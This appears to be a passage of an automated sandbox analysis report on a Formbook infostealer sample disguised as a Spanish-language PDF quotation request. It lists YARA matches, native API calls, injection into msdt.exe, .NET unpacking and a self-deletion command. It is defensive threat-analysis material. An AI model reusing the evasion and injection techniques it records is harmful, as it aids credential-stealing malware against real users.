Source: 00000006.00000002.372897742.0000000001730000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000002.372897742.0000000001730000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000000.298732907.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000000.298732907.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000007.00000000.338321770.00000000100B5000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000007.00000000.338321770.00000000100B5000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000002.372402095.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000002.372402095.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000A.00000002.563987618.00000000007C0000.00000004.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000A.00000002.563987618.00000000007C0000.00000004.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000007.00000000.354531059.00000000100B5000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000007.00000000.354531059.00000000100B5000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000002.373637862.0000000001A90000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000002.373637862.0000000001A90000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000A.00000002.558246949.0000000000120000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000A.00000002.558246949.0000000000120000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000000.00000002.301296785.0000000004309000.00000004.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000000.00000002.301296785.0000000004309000.00000004.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Detected potential crypto function
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Code function: 0_2_018FC694 0_2_018FC694
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Code function: 0_2_018FEAC8 0_2_018FEAC8
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Code function: 0_2_018FEAD8 0_2_018FEAD8
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Code function: 6_2_00401030 6_2_00401030
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Code function: 6_2_0041D96B 6_2_0041D96B
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Code function: 6_2_004012FB 6_2_004012FB
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Code function: 6_2_0041EB91 6_2_0041EB91
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Code function: 6_2_0041DC7D 6_2_0041DC7D
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Code function: 6_2_00402D87 6_2_00402D87
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Code function: 6_2_00402D90 6_2_00402D90
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Code function: 6_2_00409E5F 6_2_00409E5F
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Code function: 6_2_00409E60 6_2_00409E60
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Code function: 6_2_00402FB0 6_2_00402FB0
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046CD466 10_2_046CD466
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0461841F 10_2_0461841F
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046D1D55 10_2_046D1D55
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04600D20 10_2_04600D20
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046D2D07 10_2_046D2D07
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0461D5E0 10_2_0461D5E0
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046D25DD 10_2_046D25DD
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04632581 10_2_04632581
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04626E30 10_2_04626E30
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046CD616 10_2_046CD616
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046D2EF7 10_2_046D2EF7
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046D1FF1 10_2_046D1FF1
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046DDFCE 10_2_046DDFCE
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046DE824 10_2_046DE824
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046C1002 10_2_046C1002
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046D28EC 10_2_046D28EC
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046320A0 10_2_046320A0
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046D20A8 10_2_046D20A8
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0461B090 10_2_0461B090
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04624120 10_2_04624120
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0460F900 10_2_0460F900
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046BFA2B 10_2_046BFA2B
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046D22AE 10_2_046D22AE
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0462AB40 10_2_0462AB40
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046D2B28 10_2_046D2B28
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046C03DA 10_2_046C03DA
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046CDBD2 10_2_046CDBD2
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0463EBB0 10_2_0463EBB0
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0013EB91 10_2_0013EB91
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_00122D90 10_2_00122D90
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_00122D87 10_2_00122D87
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_00129E5F 10_2_00129E5F
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_00129E60 10_2_00129E60
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_00122FB0 10_2_00122FB0
Found potential string decryption / allocating functions
Source: C:\Windows\SysWOW64\msdt.exe Code function: String function: 0460B150 appears 45 times
Contains functionality to call native functions
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Code function: 6_2_0041A360 NtCreateFile, 6_2_0041A360
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Code function: 6_2_0041A410 NtReadFile, 6_2_0041A410
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Code function: 6_2_0041A490 NtClose, 6_2_0041A490
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Code function: 6_2_0041A540 NtAllocateVirtualMemory, 6_2_0041A540
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Code function: 6_2_0041A3B3 NtReadFile, 6_2_0041A3B3
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Code function: 6_2_0041A40B NtReadFile, 6_2_0041A40B
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Code function: 6_2_0041A53A NtAllocateVirtualMemory, 6_2_0041A53A
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04649540 NtReadFile,LdrInitializeThunk, 10_2_04649540
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046495D0 NtClose,LdrInitializeThunk, 10_2_046495D0
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04649660 NtAllocateVirtualMemory,LdrInitializeThunk, 10_2_04649660
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04649650 NtQueryValueKey,LdrInitializeThunk, 10_2_04649650
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046496E0 NtFreeVirtualMemory,LdrInitializeThunk, 10_2_046496E0
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046496D0 NtCreateKey,LdrInitializeThunk, 10_2_046496D0
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04649710 NtQueryInformationToken,LdrInitializeThunk, 10_2_04649710
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04649FE0 NtCreateMutant,LdrInitializeThunk, 10_2_04649FE0
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04649780 NtMapViewOfSection,LdrInitializeThunk, 10_2_04649780
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04649860 NtQuerySystemInformation,LdrInitializeThunk, 10_2_04649860
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04649840 NtDelayExecution,LdrInitializeThunk, 10_2_04649840
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04649910 NtAdjustPrivilegesToken,LdrInitializeThunk, 10_2_04649910
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046499A0 NtCreateSection,LdrInitializeThunk, 10_2_046499A0
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04649A50 NtCreateFile,LdrInitializeThunk, 10_2_04649A50
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04649560 NtWriteFile, 10_2_04649560
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04649520 NtWaitForSingleObject, 10_2_04649520
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0464AD30 NtSetContextThread, 10_2_0464AD30
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046495F0 NtQueryInformationFile, 10_2_046495F0
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04649670 NtQueryInformationProcess, 10_2_04649670
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04649610 NtEnumerateValueKey, 10_2_04649610
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04649760 NtOpenProcess, 10_2_04649760
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0464A770 NtOpenThread, 10_2_0464A770
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04649770 NtSetInformationFile, 10_2_04649770
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04649730 NtQueryVirtualMemory, 10_2_04649730
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0464A710 NtOpenProcessToken, 10_2_0464A710
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046497A0 NtUnmapViewOfSection, 10_2_046497A0
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0464B040 NtSuspendThread, 10_2_0464B040
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04649820 NtEnumerateKey, 10_2_04649820
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046498F0 NtReadVirtualMemory, 10_2_046498F0
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046498A0 NtWriteVirtualMemory, 10_2_046498A0
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04649950 NtQueueApcThread, 10_2_04649950
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046499D0 NtCreateProcessEx, 10_2_046499D0
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04649A20 NtResumeThread, 10_2_04649A20
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04649A00 NtProtectVirtualMemory, 10_2_04649A00
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04649A10 NtQuerySection, 10_2_04649A10
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04649A80 NtOpenDirectoryObject, 10_2_04649A80
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04649B00 NtSetValueKey, 10_2_04649B00
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0464A3B0 NtGetContextThread, 10_2_0464A3B0
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0013A360 NtCreateFile, 10_2_0013A360
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0013A410 NtReadFile, 10_2_0013A410
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0013A490 NtClose, 10_2_0013A490
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0013A540 NtAllocateVirtualMemory, 10_2_0013A540
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0013A3B3 NtReadFile, 10_2_0013A3B3
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0013A40B NtReadFile, 10_2_0013A40B
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0013A53A NtAllocateVirtualMemory, 10_2_0013A53A
Sample file is different than original file name gathered from version info
Source: Solicitud urgente de Quotaion_U1197,pdf.exe, 00000000.00000002.303421027.00000000065B0000.00000004.00020000.sdmp Binary or memory string: OriginalFilenameUI.dllF vs Solicitud urgente de Quotaion_U1197,pdf.exe
Source: Solicitud urgente de Quotaion_U1197,pdf.exe, 00000000.00000002.300643719.0000000003301000.00000004.00000001.sdmp Binary or memory string: OriginalFilenameInnerException.dll" vs Solicitud urgente de Quotaion_U1197,pdf.exe
Source: Solicitud urgente de Quotaion_U1197,pdf.exe, 00000000.00000002.301296785.0000000004309000.00000004.00000001.sdmp Binary or memory string: OriginalFilenameUI.dllF vs Solicitud urgente de Quotaion_U1197,pdf.exe
Source: Solicitud urgente de Quotaion_U1197,pdf.exe, 00000000.00000002.299924713.0000000000F8E000.00000002.00020000.sdmp Binary or memory string: OriginalFilenameOSVERSIONIN.exe4 vs Solicitud urgente de Quotaion_U1197,pdf.exe
Source: Solicitud urgente de Quotaion_U1197,pdf.exe, 00000004.00000002.295521309.00000000000FE000.00000002.00020000.sdmp Binary or memory string: OriginalFilenameOSVERSIONIN.exe4 vs Solicitud urgente de Quotaion_U1197,pdf.exe
Source: Solicitud urgente de Quotaion_U1197,pdf.exe, 00000006.00000000.296575985.0000000000DBE000.00000002.00020000.sdmp Binary or memory string: OriginalFilenameOSVERSIONIN.exe4 vs Solicitud urgente de Quotaion_U1197,pdf.exe
Source: Solicitud urgente de Quotaion_U1197,pdf.exe, 00000006.00000002.374490379.0000000003680000.00000040.00020000.sdmp Binary or memory string: OriginalFilenamemsdt.exej% vs Solicitud urgente de Quotaion_U1197,pdf.exe
Source: Solicitud urgente de Quotaion_U1197,pdf.exe, 00000006.00000002.373544192.0000000001A0F000.00000040.00000001.sdmp Binary or memory string: OriginalFilenamentdll.dllj% vs Solicitud urgente de Quotaion_U1197,pdf.exe
Source: Solicitud urgente de Quotaion_U1197,pdf.exe, 00000006.00000002.373171059.000000000187F000.00000040.00000001.sdmp Binary or memory string: OriginalFilenamentdll.dllj% vs Solicitud urgente de Quotaion_U1197,pdf.exe
Source: Solicitud urgente de Quotaion_U1197,pdf.exe, 00000006.00000003.365732847.0000000003680000.00000004.00000001.sdmp Binary or memory string: OriginalFilenamemsdt.exej% vs Solicitud urgente de Quotaion_U1197,pdf.exe
Source: Solicitud urgente de Quotaion_U1197,pdf.exe Binary or memory string: OriginalFilenameOSVERSIONIN.exe4 vs Solicitud urgente de Quotaion_U1197,pdf.exe
Source: Solicitud urgente de Quotaion_U1197,pdf.exe Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: Solicitud urgente de Quotaion_U1197,pdf.exe Virustotal: Detection: 40%
Source: Solicitud urgente de Quotaion_U1197,pdf.exe Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe "C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe"
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Process created: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Process created: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\msdt.exe C:\Windows\SysWOW64\msdt.exe
Source: C:\Windows\SysWOW64\msdt.exe Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Process created: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Jump to behavior
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Process created: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Jump to behavior
Source: C:\Windows\SysWOW64\msdt.exe Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe" Jump to behavior
Source: C:\Windows\explorer.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{6C3EE638-B588-4D7D-B30A-E7E36759305D}\InprocServer32 Jump to behavior
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Solicitud urgente de Quotaion_U1197,pdf.exe.log Jump to behavior
Source: classification engine Classification label: mal100.troj.evad.winEXE@9/1@3/3
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll Jump to behavior
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6020:120:WilError_01
Source: C:\Windows\explorer.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\explorer.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: Solicitud urgente de Quotaion_U1197,pdf.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
Source: Solicitud urgente de Quotaion_U1197,pdf.exe Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Source: Binary string: msdt.pdbGCTL source: Solicitud urgente de Quotaion_U1197,pdf.exe, 00000006.00000002.374490379.0000000003680000.00000040.00020000.sdmp, Solicitud urgente de Quotaion_U1197,pdf.exe, 00000006.00000003.365732847.0000000003680000.00000004.00000001.sdmp
Source: Binary string: wntdll.pdbUGP source: Solicitud urgente de Quotaion_U1197,pdf.exe, 00000006.00000002.372947461.0000000001760000.00000040.00000001.sdmp, Solicitud urgente de Quotaion_U1197,pdf.exe, 00000006.00000002.373171059.000000000187F000.00000040.00000001.sdmp, msdt.exe, 0000000A.00000002.568927904.00000000046FF000.00000040.00000001.sdmp, msdt.exe, 0000000A.00000002.568800270.00000000045E0000.00000040.00000001.sdmp, msdt.exe, 0000000A.00000003.372669343.0000000000BA0000.00000004.00000001.sdmp
Source: Binary string: wntdll.pdb source: Solicitud urgente de Quotaion_U1197,pdf.exe, 00000006.00000002.372947461.0000000001760000.00000040.00000001.sdmp, Solicitud urgente de Quotaion_U1197,pdf.exe, 00000006.00000002.373171059.000000000187F000.00000040.00000001.sdmp, msdt.exe, msdt.exe, 0000000A.00000002.568927904.00000000046FF000.00000040.00000001.sdmp, msdt.exe, 0000000A.00000002.568800270.00000000045E0000.00000040.00000001.sdmp, msdt.exe, 0000000A.00000003.372669343.0000000000BA0000.00000004.00000001.sdmp
Source: Binary string: msdt.pdb source: Solicitud urgente de Quotaion_U1197,pdf.exe, 00000006.00000002.374490379.0000000003680000.00000040.00020000.sdmp, Solicitud urgente de Quotaion_U1197,pdf.exe, 00000006.00000003.365732847.0000000003680000.00000004.00000001.sdmp

Data Obfuscation:

barindex
.NET source code contains potential unpacker
Source: Solicitud urgente de Quotaion_U1197,pdf.exe, S6/xq.cs .Net Code: om System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 0.0.Solicitud urgente de Quotaion_U1197,pdf.exe.f20000.0.unpack, S6/xq.cs .Net Code: om System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 0.2.Solicitud urgente de Quotaion_U1197,pdf.exe.f20000.0.unpack, S6/xq.cs .Net Code: om System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 4.0.Solicitud urgente de Quotaion_U1197,pdf.exe.90000.2.unpack, S6/xq.cs .Net Code: om System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 4.0.Solicitud urgente de Quotaion_U1197,pdf.exe.90000.1.unpack, S6/xq.cs .Net Code: om System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 4.0.Solicitud urgente de Quotaion_U1197,pdf.exe.90000.3.unpack, S6/xq.cs .Net Code: om System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 4.0.Solicitud urgente de Quotaion_U1197,pdf.exe.90000.0.unpack, S6/xq.cs .Net Code: om System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 4.2.Solicitud urgente de Quotaion_U1197,pdf.exe.90000.0.unpack, S6/xq.cs .Net Code: om System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 6.2.Solicitud urgente de Quotaion_U1197,pdf.exe.d50000.1.unpack, S6/xq.cs .Net Code: om System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 6.0.Solicitud urgente de Quotaion_U1197,pdf.exe.d50000.5.unpack, S6/xq.cs .Net Code: om System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 6.0.Solicitud urgente de Quotaion_U1197,pdf.exe.d50000.2.unpack, S6/xq.cs .Net Code: om System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 6.0.Solicitud urgente de Quotaion_U1197,pdf.exe.d50000.7.unpack, S6/xq.cs .Net Code: om System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 6.0.Solicitud urgente de Quotaion_U1197,pdf.exe.d50000.0.unpack, S6/xq.cs .Net Code: om System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 6.0.Solicitud urgente de Quotaion_U1197,pdf.exe.d50000.9.unpack, S6/xq.cs .Net Code: om System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 6.0.Solicitud urgente de Quotaion_U1197,pdf.exe.d50000.3.unpack, S6/xq.cs .Net Code: om System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 6.0.Solicitud urgente de Quotaion_U1197,pdf.exe.d50000.1.unpack, S6/xq.cs .Net Code: om System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Code function: 0_2_018FE110 push eax; retn 0577h 0_2_018FF91D
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Code function: 6_2_0041783B push cs; retf 6_2_0041784A
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Code function: 6_2_0041794C push ebx; ret 6_2_0041795C
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Code function: 6_2_00416939 push 8A1A9327h; iretd 6_2_0041693E
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Code function: 6_2_0040E328 push 3E78F232h; iretd 6_2_0040E32D
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Code function: 6_2_004163FF push esi; iretd 6_2_00416400
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Code function: 6_2_0041D4B5 push eax; ret 6_2_0041D508
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Code function: 6_2_0041D56C push eax; ret 6_2_0041D572
